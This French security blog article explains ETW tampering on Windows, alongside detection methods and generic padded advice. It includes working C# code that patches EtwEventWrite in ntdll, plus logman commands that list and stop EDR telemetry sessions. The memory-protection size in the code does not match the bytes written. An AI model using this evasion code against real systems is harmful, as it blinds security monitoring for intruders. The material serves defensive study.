L'ETW (Event Tracing for Windows) constitue le socle de télémétrie centralisé du système d'exploitation : EDR (Endpoint Detection and Response), Microsoft Defender, Sysmon et les SIEM s'appuient massivement sur ses fournisseurs pour observer l'activité d'un poste. Les événements collectés couvrent les appels système, les chargements de DLL, les connexions réseau, les allocations mémoire, les accès au registre et les opérations sur les fichiers, ainsi que l'exécution de code managé .NET et les scripts PowerShell. Cette centralisation fait aussi de l'ETW une cible privilégiée : en neutralisant la source, un attaquant aveugle simultanément plusieurs produits de sécurité. Comprendre l'ETW tampering évasion détection Windows suppose donc d'examiner à la fois les techniques de sabotage — patch de ntdll, désactivation de sessions, manipulation du registre — et les signaux résiduels qui permettent, en 2026, de les repérer.

En bref

  • ETW est la colonne vertébrale de la détection Windows — désactiver ETW aveugle les EDR, Sysmon et Defender
  • Le patching de EtwEventWrite dans ntdll.dll (xor eax, eax; ret) est la technique de tampering la plus simple
  • Le provider Threat-Intelligence opère au kernel-level et nécessite PPL pour être consommé — plus résistant au tampering
  • Les sessions ETW peuvent être arrêtées ou modifiées par un admin — surveiller les appels ControlTrace
  • La détection du tampering repose sur l'intégrité de ntdll.dll, le monitoring des sessions et la télémétrie kernel

En bref

  • ETW architecture : providers, sessions, controllers, consumers et le kernel logger
  • Patching ntdll.dll : désactivation de EtwEventWrite en userland
  • Provider tampering : désactivation sélective de providers critiques (Microsoft-Windows-Threat-Intelligence)
  • Session manipulation : détachement des consumers, modification des filtres
  • Détection du tampering : intégrité ntdll, provider monitoring et kernel telemetry
ETW (Event Tracing for Windows) — Infrastructure de tracing haute performance intégrée au kernel Windows. Les providers (composants système ou applicatifs) émettent des événements structurés vers des sessions ETW, qui les routent vers des consumers (EDR, Sysmon, Event Log). ETW gère des milliers de providers couvrant tous les aspects du système.

Architecture ETW : Providers, Sessions et Consumers

Composant ETWRôleVecteur de tampering
ProviderSource d'événements (kernel, .NET CLR, PowerShell...)Unregister, disable, filter manipulation
SessionCanalise les événements vers les consumersStop session, détacher consumer, flush
ControllerCrée/configure les sessionsModifier les paramètres de la session
ConsumerReçoit et traite les événements (EDR, Event Log)Bloquer la réception, modifier les buffers
Kernel LoggerSession spéciale (NT Kernel Logger)Difficile à tamper (kernel-level)

Providers ETW Critiques pour la Sécurité

Tous les providers ETW ne sont pas égaux — certains sont essentiels pour la détection :

⚡

Retour terrain

Dans mes missions de red team, la phase de post-exploitation révèle systématiquement des données que le client pensait protégées. Le cas le plus fréquent : des fichiers Excel de comptabilité ou RH stockés sur des partages réseau accessibles à tous les utilisateurs du domaine, sans restriction. Sur les 30 dernières missions, 27 avaient des partages réseau avec des données sensibles accessibles à n'importe quel utilisateur authentifié. La sensibilité des données n'est pas corrélée à leur niveau de protection réel.

  • Microsoft-Windows-Threat-Intelligence : provider kernel-level utilisé par les EDR pour la détection d'injection de code, de manipulation mémoire et d'accès aux credentials (LSASS). C'est le provider le plus critique et le plus ciblé.
  • Microsoft-Windows-DotNETRuntime : traçage de l'exécution .NET, assemblies chargés, JIT compilation — essentiel pour détecter les attaques .NET (in-memory execution, AMSI bypass).
  • Microsoft-Windows-PowerShell : logging complet de PowerShell (ScriptBlock logging, Module logging) — pilier de la détection des attaques PowerShell.
  • Microsoft-Windows-Kernel-Process : création/terminaison de processus, chargement de DLL — base de la détection comportementale.

Technique 1 : Patching de ntdll.dll (EtwEventWrite)

La technique la plus simple : patcher la fonction EtwEventWrite dans ntdll.dll (en mémoire, dans le processus courant) pour qu'elle retourne immédiatement sans émettre d'événement. Tous les événements ETW userland du processus sont silencieusement supprimés :

// C# — Patch de EtwEventWrite (retourne STATUS_SUCCESS sans rien faire)
// TECHNIQUE UTILISÉE PAR LES RED TEAMS — À DES FINS D'AUDIT UNIQUEMENT

using System.Runtime.InteropServices;

[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")] 
static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, 
 uint flNewProtect, out uint lpflOldProtect);

var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");

// Rendre la mémoire writable
VirtualProtect(etwAddr, (UIntPtr)2, 0x40, out uint oldProtect);

// Écrire "xor eax, eax; ret" (retourne 0 = STATUS_SUCCESS)
Marshal.WriteByte(etwAddr, 0x33); // xor eax, eax
Marshal.WriteByte(etwAddr + 1, 0xC0);
Marshal.WriteByte(etwAddr + 2, 0xC3); // ret

// Restaurer les protections mémoire
VirtualProtect(etwAddr, (UIntPtr)2, oldProtect, out _);

Technique 2 : Provider Unregistration

Au lieu de patcher des fonctions, l'attaquant peut désenregistrer les providers ETW critiques ou modifier leurs paramètres de filtrage pour supprimer les événements spécifiques qui intéressent la détection. Cette technique est plus subtile que le patching car elle utilise les API ETW légitimes.

Technique 3 : Manipulation des Sessions ETW

Les sessions ETW peuvent être listées, modifiées et arrêtées avec des privilèges administrateur. Un attaquant peut :

# Lister les sessions ETW actives (identifier les sessions EDR)
logman query -ets

# Les sessions typiques d'un EDR :
# - "SenseNdr" (Microsoft Defender for Endpoint) 
# - "CrowdStrike" (Falcon)
# - "SentinelOne" (S1 Agent)
# - "Sysmon" (System Monitor)

# Arrêter une session ETW (nécessite SYSTEM ou admin)
# logman stop "SessionName" -ets

# Modifier le buffer size (réduire → perte d'événements par overflow)
# logman update "SessionName" -ets -bs 1

Détection du ETW Tampering

Les défenseurs doivent surveiller activement les tentatives de tampering :

  • Intégrité de ntdll.dll : comparer les octets de EtwEventWrite en mémoire avec la version sur disque. Tout écart indique un patching.
  • Provider monitoring : surveiller les appels à EventUnregister, ControlTrace(EVENT_TRACE_CONTROL_STOP), et les modifications de session ETW.
  • Kernel telemetry : le provider Microsoft-Windows-Threat-Intelligence opère au niveau kernel — il ne peut pas être désactivé par un patching userland de ntdll.dll.
  • ETW self-monitoring : utiliser ETW pour surveiller les modifications d'ETW (meta-monitoring). Le provider Microsoft-Windows-EventTraceConfig émet des événements quand des sessions sont créées/modifiées/arrêtées.
  • PPL protection : exécuter l'EDR en tant que PPL (Protected Process Light) empêche le patching de ses propres copies de ntdll.dll par des processus non-PPL.

Le Provider Threat-Intelligence

Le provider Microsoft-Windows-Threat-Intelligence est spécial : il opère au niveau kernel et ne peut être consommé que par des processus PPL (Protected Process Light) avec le signer ELAM (Early Launch Anti-Malware). Il fournit des événements critiques comme les écritures mémoire inter-processus (injection de code), les allocations mémoire exécutables et les accès aux credentials. Le tamper de ce provider nécessite un driver kernel ou un exploit pour PPL bypass.

⚠️ Attention — Le patching de ntdll.dll (EtwEventWrite) est la technique de tampering la plus courante mais aussi la plus détectable. Les EDR modernes vérifient périodiquement l'intégrité de ntdll.dll en mémoire. Les techniques plus avancées (provider manipulation, session filtering) sont plus furtives mais nécessitent des privilèges élevés.

À retenir

  • ETW est la colonne vertébrale de la détection Windows — désactiver ETW aveugle les EDR, Sysmon et Defender
  • Le patching de EtwEventWrite dans ntdll.dll (xor eax, eax; ret) est la technique de tampering la plus simple
  • Le provider Threat-Intelligence opère au kernel-level et nécessite PPL pour être consommé — plus résistant au tampering
  • Les sessions ETW peuvent être arrêtées ou modifiées par un admin — surveiller les appels ControlTrace
  • La détection du tampering repose sur l'intégrité de ntdll.dll, le monitoring des sessions et la télémétrie kernel

FAQ — Questions Fréquentes

Le patching de ntdll.dll affecte-t-il tout le système ?

Non, le patching de EtwEventWrite dans ntdll.dll n'affecte que le processus courant. Chaque processus a sa propre copie de ntdll.dll en mémoire (copy-on-write). L'EDR dans son propre processus continue de recevoir ses événements normalement. Cependant, les événements du processus patché sont supprimés — y compris ceux qui auraient été envoyés aux providers kernel via la transition syscall.

Les EDR modernes sont-ils vulnérables au ETW tampering ?

Les EDR de nouvelle génération combinent la télémétrie ETW avec des minifilters kernel (filesystem, registry), des callback kernel (process/thread creation, image loading) et des hooks SSDT/inline. Désactiver ETW userland seul n'aveugle pas complètement un EDR bien conçu. Cependant, de nombreux EDR dépendent encore fortement d'ETW pour la détection .NET, PowerShell et les événements de réseau.

Comment tester la résilience de mon EDR au ETW tampering ?

Utilisez les outils de test comme TelemetrySourcerer (manipulateur de sessions ETW), Invoke-Phant0m (kill des threads ETW), et Seatbelt (audit des configurations ETW). Testez dans un lab isolé : patchhz EtwEventWrite, arrêtez les sessions ETW, et vérifiez ce que votre EDR détecte encore. Documentez les gaps et travaillez avec votre vendor pour les combler.

Conclusion

Ce sujet s'inscrit dans un contexte de menaces en constante évolution. La meilleure protection combine veille active, audits réguliers et sécurité by design. Pour approfondir ou évaluer votre exposition, consultez nos experts.

Besoin d'un accompagnement expert ?

Nos consultants spécialisés en audit de sécurité et Red Team vous accompagnent dans l'évaluation de votre posture de sécurité.

Contactez-nous
Article recommandé : TPM et BitLocker : Cold Boot et Bypass Chiffrement

📚 Articles connexes

🔗 Références externes

Ayi NEDJIMI

Testez vos défenses avant les attaquants

Pentest, Red Team, audit de sécurité — rapport détaillé avec plan de remédiation priorisé.

Détection du ETW Tampering : Intégrité Kernel et Télémétrie Résiliante

La détection du tampering ETW depuis le userland est intrinsèquement limitée : un attaquant ayant patché ntdll.dll en mémoire a déjà compromis la couche de télémétrie que l'on cherche à vérifier. La première contre-mesure efficace est la vérification de l'intégrité ntdll.dll depuis le kernel, en comparant le contenu des pages mémoire de la DLL avec le contenu attendu du fichier sur disque. Les drivers de sécurité kernel-mode peuvent implémenter cette vérification périodiquement et déclencher une alerte EDR lorsqu'une discordance est détectée — signature d'un patch ETW actif dans le processus.

Les ETW kernel providers comme Microsoft-Windows-Threat-Intelligence (MSFT-TI) sont accessibles uniquement depuis le kernel et résistent aux techniques de tampering userland. Les EDR qui s'appuient exclusivement sur ces providers de niveau noyau offrent une couverture de détection supérieure : les événements de création de processus, d'allocation de mémoire exécutable et d'injection de code sont journalisés directement par le kernel avant tout traitement par le code en espace utilisateur. L'adoption de Kernel Patch Protection (PatchGuard) par Microsoft limite également les possibilités de tampering au niveau noyau pour les attaquants non-admin.

La stratégie défensive la plus robuste combine plusieurs couches : surveillance de l'intégrité des DLL système via des mécanismes comme Protected Process Light (PPL), utilisation de providers ETW redondants couvrant les mêmes événements depuis des niveaux différents (userland et kernel), et corrélation des événements manquants par analyse comportementale (absence soudaine d'événements ETW d'un processus actif est elle-même suspecte). Cette architecture de détection résiliente transforme le tampering ETW d'une technique d'évasion efficace en un signal supplémentaire de compromission détectable par un SOC bien équipé.

Environnement de test et laboratoire pratique

La maîtrise des techniques de sécurité offensive et défensive requiert un environnement de pratique dédié. L'installation d'un laboratoire virtuel sur votre poste (VMware Workstation, VirtualBox, ou Proxmox pour une infrastructure plus élaborée) permet de tester les concepts présentés dans cet article sans risque pour les systèmes de production.

Configuration recommandée du lab

Pour reproduire les scénarios décrits, une configuration minimale comprend : un hyperviseur disposant d'au moins 16 Go de RAM et 4 cœurs CPU, un réseau virtuel isolé (host-only ou internal network sans accès Internet pour les VMs malveillantes), et un snapshot de base avant chaque manipulation pour faciliter le retour arrière. Les distributions spécialisées Kali Linux (offensive) et Parrot OS Security Edition couvrent l'ensemble des outils nécessaires sans configuration manuelle. Pour l'aspect défensif, Security Onion déploie en une seule VM un stack complet (Zeek, Suricata, Elasticsearch, Kibana) qui permet de visualiser l'impact des techniques testées.

Ressources de formation complémentaires

Les plateformes d'entraînement permettent de consolider la pratique dans des environnements légaux et structurés. HackTheBox et TryHackMe proposent des machines virtuelles sur lesquelles appliquer les techniques décrites, avec des difficultés progressives adaptées aux débutants comme aux experts. Pour les scénarios d'entreprise (Active Directory, Cloud, applications web complexes), les labs Pro de HackTheBox ou les modules DFIR/SOC de Blue Team Labs Online offrent des cas réalistes. Les CTF compétitifs (Hack The Box CTF, DEFCON CTF, PicoCTF) développent la créativité et l'adaptabilité face à des challenges inédits. La régularité de pratique (1-2 heures hebdomadaires minimum) prime sur l'intensité ponctuelle pour développer des réflexes durables.

Indicateurs de maturité et métriques de sécurité

Mesurer l'efficacité des mesures de sécurité implémentées est indispensable pour justifier les investissements et guider les priorités. Les métriques suivantes constituent un tableau de bord de sécurité applicable aux organisations de toutes tailles.

Métriques de couverture et de détection

Les indicateurs clés à suivre mensuellement : taux de couverture MITRE ATT&CK (pourcentage des techniques adversariales couvertes par des règles de détection actives) ; Mean Time To Detect (MTTD) pour les incidents de sécurité confirmés ; Mean Time To Respond (MTTR) depuis l'alerte jusqu'à la résolution ; taux de faux positifs sur les alertes SIEM (objectif : moins de 5% pour les règles de haute priorité) ; pourcentage de systèmes avec agents EDR installés et actifs (objectif : 100% des endpoints gérés). Ces métriques, compilées dans un rapport mensuel pour la direction, permettent de démontrer la valeur des investissements sécurité et d'identifier les domaines nécessitant des ressources supplémentaires.

Amélioration continue par les exercices

Les organisations les plus matures en matière de cybersécurité organisent régulièrement des exercices pour tester et améliorer leurs capacités. Les exercices tabletop (simulation de crise sur table, sans activation des systèmes techniques) développent la coordination des équipes et valident les procédures de communication de crise. Les tests de pénétration (pentest) annuels fournissent une évaluation objective de la résistance technique de l'infrastructure. Les exercices Red/Blue/Purple Team (1-2 fois par an pour les organisations matures) permettent d'aligner les équipes offensive et défensive autour d'objectifs communs d'amélioration. Chaque exercice doit donner lieu à un plan d'action formalisé avec des jalons de correction mesurables, intégré dans la feuille de route sécurité de l'organisation.

Synthèse et perspectives 2026

Les techniques et recommandations présentées dans ce guide s'inscrivent dans un contexte de menaces en constante évolution. La cybersécurité offensive et défensive sont deux faces d'une même médaille : comprendre les mécanismes d'attaque est indispensable pour construire des défenses robustes et résilientes face aux acteurs malveillants les plus sophistiqués.

Pour les équipes sécurité, l'enjeu de 2026 est double : maintenir une veille continue sur les nouvelles techniques publiées par la communauté de recherche (CVE, exploit-db, GitHub, Secrech, SSTIC) tout en assurant le durcissement progressif de l'infrastructure existante. Le référentiel MITRE ATT&CK reste le fil conducteur le plus efficace pour structurer un programme de détection et de réponse face aux tactiques, techniques et procédures des groupes APT ciblant les secteurs critiques.

La formation continue des équipes, la simulation régulière d'incidents (exercices tabletop, exercices Red/Blue/Purple Team), et l'automatisation des tâches répétitives via des outils SOAR constituent les piliers d'une organisation cyber mature. Les organisations qui investissent dans ces trois axes démontrent systématiquement de meilleures métriques de détection et de réponse (MTTD et MTTR réduits de 40% en moyenne selon les benchmarks sectoriels) face aux incidents de sécurité.

La maîtrise des concepts et techniques détaillés dans cet article est un investissement à long terme dans la posture de sécurité de votre organisation. Les menaces évoluent rapidement, mais les fondamentaux — durcissement systématique, surveillance continue, et formation régulière des équipes — restent les piliers d'une défense efficace en profondeur.

Bonnes pratiques et recommandations complémentaires

Au-delà des techniques et outils présentés dans cet article, plusieurs principes transverses guident les professionnels de la cybersécurité dans leur approche quotidienne. La défense en profondeur (defense-in-depth) reste le principe fondateur : aucune mesure de sécurité unique n'est suffisante, et la multiplication des couches de protection — même imparfaites individuellement — crée une résilience globale supérieure à la somme de ses parties.

Veille et mise à jour continue

La cybersécurité est un domaine où l'obsolescence est rapide. Une technique ou un outil efficace en 2024 peut être contourné en 2026. Les équipes sécurité maintiennent leur efficacité en s'appuyant sur des sources de veille fiables : bulletins CERT-FR et ANSSI, advisories des éditeurs (Microsoft MSRC, Google Project Zero, Cisco Talos), recherches académiques (USENIX Security, IEEE S&P, CCS), et publications de la communauté (threat intel reports des grands éditeurs, articles de blog de chercheurs reconnus).

Documentation et partage de connaissances

La capitalisation des connaissances est un enjeu organisationnel critique dans les équipes de sécurité. Les runbooks d'investigation, les post-mortems d'incidents, les procédures de réponse documentées, et les bases de connaissance internes permettent de maintenir la cohérence des pratiques indépendamment des rotations d'équipe et de réduire le temps de résolution des incidents récurrents. L'utilisation d'un wiki sécurisé (Confluence, Notion avec contrôles d'accès stricts) pour centraliser ces connaissances est une pratique adoptée par la majorité des équipes SOC matures. La documentation proactive, rédigée juste après les incidents pendant que les détails sont frais, est systématiquement plus précise et utile que la documentation rédigée après coup.

Checklist de mise en œuvre et points de contrôle

La mise en pratique des recommandations de cet article nécessite une approche structurée. Cette checklist synthétise les points de contrôle essentiels pour évaluer l'état d'avancement de votre déploiement et identifier les actions prioritaires.

Phase de préparation et d'inventaire

Avant toute action technique, constituer un inventaire précis est indispensable. Les éléments à recenser : cartographie exhaustive des actifs concernés (systèmes, applications, flux de données) avec leur criticité métier associée ; identification des propriétaires techniques et fonctionnels pour chaque actif ; évaluation du niveau de maturité actuel à partir des référentiels reconnus (CIS Controls, ISO 27001, NIST CSF) ; et documentation des dépendances entre composants pour anticiper les impacts des modifications. Un inventaire incomplet génère des angles morts qui deviennent des vecteurs d'attaque exploitables par des acteurs malveillants disposant d'informations accessibles publiquement (OSINT, Shodan, LinkedIn).

Phase de déploiement et validation

Le déploiement progressif réduit les risques d'interruption de service et facilite la détection des régressions. Adopter un modèle de déploiement par vagues (wave deployment) : d'abord les environnements de développement et de test pour valider les configurations, ensuite les systèmes non-critiques en production, enfin les systèmes critiques lors de fenêtres de maintenance planifiées. Chaque vague s'accompagne d'une validation fonctionnelle complète et d'une période d'observation des métriques de performance et de sécurité. Un plan de retour arrière documenté et testé est obligatoire avant toute opération sur un système critique. Les critères de succès doivent être définis avant le déploiement, non après — un taux de faux positifs inférieur à 5% pour les alertes de sécurité, une disponibilité maintenue au niveau SLA contractuel, et l'absence d'incidents de sécurité liés aux modifications.

Phase de supervision et d'amélioration continue

La mise en place d'indicateurs de suivi permet de mesurer l'efficacité des mesures déployées et de justifier leur maintien auprès de la direction. Tableau de bord mensuel recommandé : nombre d'alertes générées par catégorie (critique, majeur, mineur) avec tendance sur 6 mois ; taux de couverture des actifs critiques par les contrôles de sécurité ; délai moyen de remédiation des vulnérabilités par sévérité CVSS ; et résultats des tests de régression mensuels sur les règles de détection. Ce tableau de bord, présenté en comité de sécurité, constitue la base d'un dialogue constructif entre les équipes techniques et le management sur les priorités d'investissement en cybersécurité.